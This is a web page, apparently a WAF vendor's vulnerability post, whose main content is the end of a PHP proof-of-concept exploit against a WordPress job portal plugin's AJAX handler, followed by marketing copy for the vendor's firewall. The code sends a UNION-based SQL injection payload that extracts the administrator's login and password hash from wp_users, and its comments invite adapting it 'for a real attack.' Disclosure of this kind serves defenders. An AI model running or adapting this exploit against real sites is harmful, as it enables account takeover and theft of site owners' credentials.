$payload = "1 UNION SELECT 1,user_login,user_pass,1,1,1,1 FROM wp_users WHERE ID=1-- -";

$exploit_data = array(
    'action' => 'wpjobportal_ajax', // May vary, adjust based on plugin's AJAX hooks
    'task' => 'getWPJobPortalUser', // Vulnerable function
    'id' => $payload
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);

// Step 3: Output the response (should contain admin hash if successful)
echo "Response: " . $response . "n";

curl_close($ch);

// Note: The actual AJAX action name and task may need to be discovered from the plugin's source.
// The above demonstrates the technique; adjust parameters accordingly for a real attack.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.